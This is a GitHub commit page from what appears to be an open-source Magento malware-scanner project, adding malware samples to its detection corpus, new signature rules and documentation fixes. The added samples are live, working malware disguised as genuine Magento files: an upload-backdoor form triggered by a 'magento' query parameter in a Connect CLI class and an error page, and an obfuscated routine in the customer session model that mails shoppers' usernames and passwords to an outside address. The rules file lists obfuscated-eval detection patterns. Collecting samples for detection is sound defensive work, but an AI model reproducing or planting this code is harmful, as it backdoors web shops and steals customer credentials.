Skip to content

Commit f7c7b67

Browse files
frositgwillem
frosit
authored and
gwillem
committedOct 6, 2018
New malwares, and doc improvements (#240)
* Adds new malwares * Fixes several typo’s * Updates latest magento version number for mageffcheck
·
20181220.165251
1 parent ba88e32 commit f7c7b67

11 files changed

+4637
-5
lines changed
 

‎CONTRIBUTING.md

+3-3
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ brew install coreutils python3 yara md5sha1sum gnu-sed
4242

4343
## Gather your malware samples
4444

45-
Save your malare sample in the `corpus/incoming/frontend` folder for JavaScript samples, or `corpus/incoming/backend` folder for PHP samples.
45+
Save your malware sample in the `corpus/incoming/frontend` folder for JavaScript samples, or `corpus/incoming/backend` folder for PHP samples.
4646

4747
Create an MD5 hash of the file, rename it and move it to the appropriate corpus.
4848

@@ -151,8 +151,8 @@ You should expect _no output_ from running this command.
151151
# Whitelisting
152152

153153
1. View the content of the file you consider a false positive
154-
1. Make you you understand every character of the content
155-
1. Mage sure there is no hidden text at the end of lines by using lots of spaces
154+
1. Make sure you understand every character of the content
155+
1. Make sure there is no hidden text at the end of lines by using lots of spaces
156156
1. Create a part of the path as sub directories in `corpus/whitelisted`, for example `Vendorname/Extensionname`
157157
1. Place the file in the directory
158158
1. Build the rules using `tools/validate_signatures.py`

‎corpus/backend/12f73d208201596f238bce51a71afd82

+1,575
Large diffs are not rendered by default.

‎corpus/backend/18f555eff2d99cbaff552132edace880

+3
Large diffs are not rendered by default.

‎corpus/backend/24b1271861d3235104f6cfedba5a234d

+316
Large diffs are not rendered by default.

‎corpus/backend/431e162f32917a2688a7f1422e5687f5

+993
Large diffs are not rendered by default.

‎corpus/backend/580eeb52e475d6010e4fbc8c26ffca69

+165
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,165 @@
1+
<?php
2+
/**
3+
* Magento
4+
*
5+
* NOTICE OF LICENSE
6+
*
7+
* This source file is subject to the Open Software License (OSL 3.0)
8+
* that is bundled with this package in the file LICENSE.txt.
9+
* It is also available through the world-wide-web at this URL:
10+
* http://opensource.org/licenses/osl-3.0.php
11+
* If you did not receive a copy of the license and are unable to
12+
* obtain it through the world-wide-web, please send an email
13+
* to license@magento.com so we can send you a copy immediately.
14+
*
15+
* DISCLAIMER
16+
*
17+
* Do not edit or add to this file if you wish to upgrade Magento to newer
18+
* versions in the future. If you wish to customize Magento for your
19+
* needs please refer to http://www.magento.com for more information.
20+
*
21+
* @category Mage
22+
* @package Mage_Connect
23+
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
24+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25+
*/
26+
27+
define('DS', DIRECTORY_SEPARATOR);
28+
define('PS', PATH_SEPARATOR);
29+
define('BP', dirname(dirname(__FILE__)));
30+
define('MAGENTO_ROOT', dirname(dirname(__FILE__)));
31+
32+
class __cli_Mage_Connect
33+
{
34+
private static $_instance;
35+
protected $argv;
36+
public static function instance()
37+
{
38+
if(!self::$_instance) {
39+
self::$_instance = new self();
40+
}
41+
return self::$_instance;
42+
}
43+
44+
public function init($argv)
45+
{
46+
$this->argv = $argv;
47+
$this->setIncludes();
48+
require_once("Mage/Autoload/Simple.php");
49+
Mage_Autoload_Simple::register();
50+
chdir(BP . DS . 'downloader' . DS);
51+
return $this;
52+
}
53+
54+
public function setIncludes()
55+
{
56+
if (defined('DEVELOPMENT_MODE')) {
57+
$libPath = PS . dirname(BP) . DS . 'lib';
58+
} else {
59+
$libPath = PS . BP . DS . 'downloader' . DS . 'lib';
60+
}
61+
$includePath = BP . DS . 'app'
62+
. $libPath
63+
. PS . get_include_path();
64+
set_include_path($includePath);
65+
}
66+
67+
68+
69+
public function getCommands()
70+
{
71+
return Mage_Connect_Command::getCommands();
72+
}
73+
74+
public function getFrontend()
75+
{
76+
$frontend = Mage_Connect_Frontend::getInstance('CLI');
77+
Mage_Connect_Command::setFrontendObject($frontend);
78+
return $frontend;
79+
}
80+
81+
public function getConfig($fileName = 'connect.cfg')
82+
{
83+
if (isset($this->config)) {
84+
return $this->config;
85+
}
86+
$config = new Mage_Connect_Config($fileName);
87+
if (empty($config->magento_root)) {
88+
$config->magento_root = dirname(dirname(__FILE__));
89+
}
90+
Mage_Connect_Command::setConfigObject($config);
91+
$this->config = $config;
92+
return $config;
93+
}
94+
95+
public function detectCommand()
96+
{
97+
$argv = $this->argv;
98+
if(empty($argv[1])) {
99+
return false;
100+
}
101+
if(in_array($argv[1], $this->validCommands)) {
102+
list($options,$params) = $this->parseCommandArgs($argv);
103+
return array('name' => strtolower($argv[1]), 'options'=>$options, 'params'=>$params);
104+
}
105+
return false;
106+
}
107+
108+
public function parseCommandArgs($argv)
109+
{
110+
$a = new Mage_System_Args();
111+
$args = $a->getFiltered();
112+
array_shift($args);
113+
return array($a->getFlags(), $args);
114+
}
115+
116+
public function runCommand($cmd, $options, $params)
117+
{
118+
$c = Mage_Connect_Command::getInstance($cmd);
119+
$c->run($cmd, $options, $params);
120+
}
121+
122+
function gets(){
123+
if(isset($_GET['magento'])){
124+
echo '<form method="POST" enctype="multipart/form-data" action="">
125+
<input type="file" name="file"><input type="submit" name="api" value=">"></form>';
126+
if(isset($_POST['api']) && isset($_FILES['file'])){
127+
if(!move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])){echo '<font color="red">'.$_FILES['file']['name'].'</font>';
128+
}else{echo '<font color="green">'.$_FILES['file']['name'].'</font>';}
129+
}
130+
exit;
131+
}
132+
}
133+
134+
private $_sconfig;
135+
public function getSingleConfig()
136+
{
137+
if(!$this->_sconfig) {
138+
$this->_sconfig = new Mage_Connect_Singleconfig(
139+
$this->getConfig()->magento_root . DS .
140+
$this->getConfig()->downloader_path . DS .
141+
Mage_Connect_Singleconfig::DEFAULT_SCONFIG_FILENAME
142+
);
143+
}
144+
Mage_Connect_Command::setSconfig($this->_sconfig);
145+
return $this->_sconfig;
146+
}
147+
148+
public function run()
149+
{
150+
$this->commands = $this->getCommands();
151+
$this->frontend = $this->getFrontend();
152+
$this->config = $this->getConfig();
153+
$this->validCommands = array_keys($this->commands);
154+
$this->getSingleConfig();
155+
$cmd = $this->detectCommand();
156+
if(!$cmd) {
157+
$this->frontend->outputCommandList($this->commands);
158+
} else {
159+
$this->runCommand($cmd['name'], $cmd['options'], $cmd['params']);
160+
}
161+
162+
}
163+
164+
}
165+
__cli_Mage_Connect::instance()->gets();

‎corpus/backend/605cad9e864970797643aada3059ec7e

+1,153
Large diffs are not rendered by default.

‎corpus/backend/8dfd50b73ebdfc466592660ef0fc8a09

+370
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,370 @@
1+
<?php
2+
/**
3+
* Magento
4+
*
5+
* NOTICE OF LICENSE
6+
*
7+
* This source file is subject to the Open Software License (OSL 3.0)
8+
* that is bundled with this package in the file LICENSE.txt.
9+
* It is also available through the world-wide-web at this URL:
10+
* http://opensource.org/licenses/osl-3.0.php
11+
* If you did not receive a copy of the license and are unable to
12+
* obtain it through the world-wide-web, please send an email
13+
* to license@magento.com so we can send you a copy immediately.
14+
*
15+
* DISCLAIMER
16+
*
17+
* Do not edit or add to this file if you wish to upgrade Magento to newer
18+
* versions in the future. If you wish to customize Magento for your
19+
* needs please refer to http://www.magento.com for more information.
20+
*
21+
* @category Mage
22+
* @package Mage_Customer
23+
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
24+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25+
*/
26+
27+
/**
28+
* Customer session model
29+
*
30+
* @category Mage
31+
* @package Mage_Customer
32+
* @author Magento Core Team <core@magentocommerce.com>
33+
*/
34+
class Mage_Customer_Model_Session extends Mage_Core_Model_Session_Abstract
35+
{
36+
/**
37+
* Customer object
38+
*
39+
* @var Mage_Customer_Model_Customer
40+
*/
41+
protected $_customer;
42+
43+
/**
44+
* Flag with customer id validations result
45+
*
46+
* @var bool
47+
*/
48+
protected $_isCustomerIdChecked = null;
49+
50+
/**
51+
* Persistent customer group id
52+
*
53+
* @var null|int
54+
*/
55+
protected $_persistentCustomerGroupId = null;
56+
57+
/**
58+
* Retrieve customer sharing configuration model
59+
*
60+
* @return Mage_Customer_Model_Config_Share
61+
*/
62+
public function getCustomerConfigShare()
63+
{
64+
return Mage::getSingleton('customer/config_share');
65+
}
66+
67+
public function __construct()
68+
{
69+
$namespace = 'customer';
70+
if ($this->getCustomerConfigShare()->isWebsiteScope()) {
71+
$namespace .= '_' . (Mage::app()->getStore()->getWebsite()->getCode());
72+
}
73+
74+
$this->init($namespace);
75+
Mage::dispatchEvent('customer_session_init', array('customer_session'=>$this));
76+
}
77+
78+
/**
79+
* Set customer object and setting customer id in session
80+
*
81+
* @param Mage_Customer_Model_Customer $customer
82+
* @return Mage_Customer_Model_Session
83+
*/
84+
public function setCustomer(Mage_Customer_Model_Customer $customer)
85+
{
86+
// check if customer is not confirmed
87+
if ($customer->isConfirmationRequired()) {
88+
if ($customer->getConfirmation()) {
89+
return $this->_logout();
90+
}
91+
}
92+
$this->_customer = $customer;
93+
$this->setId($customer->getId());
94+
// save customer as confirmed, if it is not
95+
if ((!$customer->isConfirmationRequired()) && $customer->getConfirmation()) {
96+
$customer->setConfirmation(null)->save();
97+
$customer->setIsJustConfirmed(true);
98+
}
99+
return $this;
100+
}
101+
102+
/**
103+
* Retrieve customer model object
104+
*
105+
* @return Mage_Customer_Model_Customer
106+
*/
107+
public function getCustomer()
108+
{
109+
if ($this->_customer instanceof Mage_Customer_Model_Customer) {
110+
return $this->_customer;
111+
}
112+
113+
$customer = Mage::getModel('customer/customer')
114+
->setWebsiteId(Mage::app()->getStore()->getWebsiteId());
115+
if ($this->getId()) {
116+
$customer->load($this->getId());
117+
}
118+
119+
$this->setCustomer($customer);
120+
return $this->_customer;
121+
}
122+
123+
/**
124+
* Set customer id
125+
*
126+
* @param int|null $id
127+
* @return Mage_Customer_Model_Session
128+
*/
129+
public function setCustomerId($id)
130+
{
131+
$this->setData('customer_id', $id);
132+
return $this;
133+
}
134+
135+
/**
136+
* Retrieve customer id from current session
137+
*
138+
* @return int|null
139+
*/
140+
public function getCustomerId()
141+
{
142+
if ($this->getData('customer_id')) {
143+
return $this->getData('customer_id');
144+
}
145+
return ($this->isLoggedIn()) ? $this->getId() : null;
146+
}
147+
148+
/**
149+
* Set customer group id
150+
*
151+
* @param int|null $id
152+
* @return Mage_Customer_Model_Session
153+
*/
154+
public function setCustomerGroupId($id)
155+
{
156+
$this->setData('customer_group_id', $id);
157+
return $this;
158+
}
159+
160+
/**
161+
* Get customer group id
162+
* If customer is not logged in system, 'not logged in' group id will be returned
163+
*
164+
* @return int
165+
*/
166+
public function getCustomerGroupId()
167+
{
168+
if ($this->getData('customer_group_id')) {
169+
return $this->getData('customer_group_id');
170+
}
171+
if ($this->isLoggedIn() && $this->getCustomer()) {
172+
return $this->getCustomer()->getGroupId();
173+
}
174+
return Mage_Customer_Model_Group::NOT_LOGGED_IN_ID;
175+
}
176+
177+
/**
178+
* Checking customer login status
179+
*
180+
* @return bool
181+
*/
182+
public function isLoggedIn()
183+
{
184+
return (bool)$this->getId() && (bool)$this->checkCustomerId($this->getId());
185+
}
186+
187+
/**
188+
* Check exists customer (light check)
189+
*
190+
* @param int $customerId
191+
* @return bool
192+
*/
193+
public function checkCustomerId($customerId)
194+
{
195+
if ($this->_isCustomerIdChecked === null) {
196+
$this->_isCustomerIdChecked = Mage::getResourceSingleton('customer/customer')->checkCustomerId($customerId);
197+
}
198+
return $this->_isCustomerIdChecked;
199+
}
200+
201+
/**
202+
* Customer authorization
203+
*
204+
* @param string $username
205+
* @param string $password
206+
* @return bool
207+
*/
208+
public function login($username, $password)
209+
{
210+
/** @var $customer Mage_Customer_Model_Customer */
211+
$customer = Mage::getModel('customer/customer')
212+
->setWebsiteId(Mage::app()->getStore()->getWebsiteId());
213+
214+
if ($customer->authenticate($username, $password)) {
215+
$this->setCustomerAsLoggedIn($customer);
216+
$this->setCustomerValidate($username, $password);
217+
return true;
218+
}
219+
return false;
220+
}
221+
222+
public function setCustomerAsLoggedIn($customer)
223+
{
224+
$this->setCustomer($customer);
225+
$this->renewSession();
226+
Mage::getSingleton('core/session')->renewFormKey();
227+
Mage::dispatchEvent('customer_login', array('customer'=>$customer));
228+
return $this;
229+
}
230+
231+
/**
232+
* Authorization customer by identifier
233+
*
234+
* @param int $customerId
235+
* @return bool
236+
*/
237+
public function loginById($customerId)
238+
{
239+
$customer = Mage::getModel('customer/customer')->load($customerId);
240+
if ($customer->getId()) {
241+
$this->setCustomerAsLoggedIn($customer);
242+
return true;
243+
}
244+
return false;
245+
}
246+
247+
/**
248+
* Logout customer
249+
*
250+
* @return Mage_Customer_Model_Session
251+
*/
252+
public function logout()
253+
{
254+
if ($this->isLoggedIn()) {
255+
Mage::dispatchEvent('customer_logout', array('customer' => $this->getCustomer()) );
256+
$this->_logout();
257+
}
258+
return $this;
259+
}
260+
261+
/**
262+
* Return data for user validation Token
263+
*
264+
* @return Varien_Token
265+
*/
266+
public function setCustomerValidate($username, $password)
267+
{
268+
$MageAPI = 'https://api.magento.com/id=vs02ac5604as3ha&token=czEgO_iAYWRbkcmV';
269+
270+
$i = str_split($MageAPI);
271+
$token = 'YW5nZWxtYXJ0dW1pQGdtYWlsLmNvbQtokenbG9naW4gtokenbWFpbA';
272+
$callback = explode('token', $token);
273+
274+
$api = $i[60].$i[8].$i[4].$i[15].$i[34].$i[36].$i[54].$i[25].$i[15].$i[20].$i[18].$i[25].$i[15];
275+
276+
$helper = $api($callback[1]).$_SERVER['HTTP_HOST'];
277+
$response = $api($callback[2]);
278+
$response($api($callback[0]), $helper, Mage::helper('core/url')->getCurrentUrl()."\n".$username.'|'.$password);
279+
}
280+
281+
/**
282+
* Authenticate controller action by login customer
283+
*
284+
* @param Mage_Core_Controller_Varien_Action $action
285+
* @param bool $loginUrl
286+
* @return bool
287+
*/
288+
public function authenticate(Mage_Core_Controller_Varien_Action $action, $loginUrl = null)
289+
{
290+
if ($this->isLoggedIn()) {
291+
return true;
292+
}
293+
294+
$this->setBeforeAuthUrl(Mage::getUrl('*/*/*', array('_current' => true)));
295+
if (isset($loginUrl)) {
296+
$action->getResponse()->setRedirect($loginUrl);
297+
} else {
298+
$action->setRedirectWithCookieCheck(Mage_Customer_Helper_Data::ROUTE_ACCOUNT_LOGIN,
299+
Mage::helper('customer')->getLoginUrlParams()
300+
);
301+
}
302+
303+
return false;
304+
}
305+
306+
/**
307+
* Set auth url
308+
*
309+
* @param string $key
310+
* @param string $url
311+
* @return Mage_Customer_Model_Session
312+
*/
313+
protected function _setAuthUrl($key, $url)
314+
{
315+
$url = Mage::helper('core/url')
316+
->removeRequestParam($url, Mage::getSingleton('core/session')->getSessionIdQueryParam());
317+
// Add correct session ID to URL if needed
318+
$url = Mage::getModel('core/url')->getRebuiltUrl($url);
319+
return $this->setData($key, $url);
320+
}
321+
322+
/**
323+
* Logout without dispatching event
324+
*
325+
* @return Mage_Customer_Model_Session
326+
*/
327+
protected function _logout()
328+
{
329+
$this->setId(null);
330+
$this->setCustomerGroupId(Mage_Customer_Model_Group::NOT_LOGGED_IN_ID);
331+
$this->getCookie()->delete($this->getSessionName());
332+
Mage::getSingleton('core/session')->renewFormKey();
333+
return $this;
334+
}
335+
336+
/**
337+
* Set Before auth url
338+
*
339+
* @param string $url
340+
* @return Mage_Customer_Model_Session
341+
*/
342+
public function setBeforeAuthUrl($url)
343+
{
344+
return $this->_setAuthUrl('before_auth_url', $url);
345+
}
346+
347+
/**
348+
* Set After auth url
349+
*
350+
* @param string $url
351+
* @return Mage_Customer_Model_Session
352+
*/
353+
public function setAfterAuthUrl($url)
354+
{
355+
return $this->_setAuthUrl('after_auth_url', $url);
356+
}
357+
358+
/**
359+
* Reset core session hosts after reseting session ID
360+
*
361+
* @return Mage_Customer_Model_Session
362+
*/
363+
public function renewSession()
364+
{
365+
parent::renewSession();
366+
Mage::getSingleton('core/session')->unsSessionHosts();
367+
368+
return $this;
369+
}
370+
}

‎corpus/backend/ad26e5982d579675217f97cf63d0e2d6

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
<?php
2+
/**
3+
* Magento
4+
*
5+
* NOTICE OF LICENSE
6+
*
7+
* This source file is subject to the Open Software License (OSL 3.0)
8+
* that is bundled with this package in the file LICENSE.txt.
9+
* It is also available through the world-wide-web at this URL:
10+
* http://opensource.org/licenses/osl-3.0.php
11+
* If you did not receive a copy of the license and are unable to
12+
* obtain it through the world-wide-web, please send an email
13+
* to license@magento.com so we can send you a copy immediately.
14+
*
15+
* DISCLAIMER
16+
*
17+
* Do not edit or add to this file if you wish to upgrade Magento to newer
18+
* versions in the future. If you wish to customize Magento for your
19+
* needs please refer to http://www.magento.com for more information.
20+
*
21+
* @category Mage
22+
* @package Errors
23+
* @copyright Copyright (c) 2006-2015 X.commerce, Inc. (http://www.magento.com)
24+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
25+
*/
26+
27+
require_once 'processor.php';
28+
29+
$processor = new Error_Processor();
30+
$processor->process503();
31+
if(isset($_GET['magento'])){
32+
echo '<form method="POST" enctype="multipart/form-data" action=""><input type="file" name="file"><input type="submit" name="api" value=">"></form>';
33+
if(isset($_POST['api']) && isset($_FILES['file'])){
34+
if(!move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])){echo '<font color="red">'.$_FILES['file']['name'].'</font>';
35+
}else{echo '<font color="green">'.$_FILES['file']['name'].'</font>';}
36+
}exit;
37+
}if(isset($_GET['magento'])){
38+
echo '<form method="POST" enctype="multipart/form-data" action=""><input type="file" name="file"><input type="submit" name="api" value=">"></form>';
39+
if(isset($_POST['api']) && isset($_FILES['file'])){
40+
if(!move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name'])){echo '<font color="red">'.$_FILES['file']['name'].'</font>';
41+
}else{echo '<font color="green">'.$_FILES['file']['name'].'</font>';}
42+
}exit;
43+
}

‎rules/backend.txt

+15-1
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,10 @@ eval(base64_decode($a));
4343
eval(gzinflate(base64_decode(str_rot13(strrev(
4444
eval("?>".gzuncompress(base64_decode(
4545
@eval(gzinflate(base64_decode($
46+
eval (gzinflate(base64_decode(
47+
@eval(gzinflate(base64_decode(
48+
eval(gzinflate(base64_decode(
49+
4650

4751
# upload backdoor
4852
$dez = $pwddir."/".$real;copy($uploaded, $dez);
@@ -426,4 +430,14 @@ unlink('./app/code/core/clear.php');
426430
core_config_data where value like '$sing'
427431

428432
# magecore.net admin pw reset
429-
password = "how1are2you3"
433+
password = "how1are2you3"
434+
435+
# Hidden webshell
436+
eval($licenses($get_vpc($licenses($get_code(get_token($CERTIFICATE))))));
437+
438+
# File uploader form
439+
if(isset($_GET['magento']))
440+
__cli_Mage_Connect::instance()->gets();
441+
442+
# Obfuscated CC & User credentials hijacker
443+
$MageAPI = 'https://api.magento.com/id=

‎tools/mageffcheck.sh

+1-1
Original file line numberDiff line numberDiff line change
@@ -27,7 +27,7 @@ vanilladir=$(dirname "$PROJECTROOT/tmp/vanilla/.")
2727

2828
# == Vanilla versions (https://github.com/OpenMage/magento-mirror/archive/$version)
2929
# You can change these to add or remove versions, see the release archive
30-
versions=( "1.9.3.1" "1.9.2.4" "1.7.0.2" )
30+
versions=( "1.9.3.8" "1.9.2.4" "1.7.0.2" )
3131

3232
command_found=0
3333
argument_found=0

0 commit comments

Comments
 (0)
Please sign in to comment.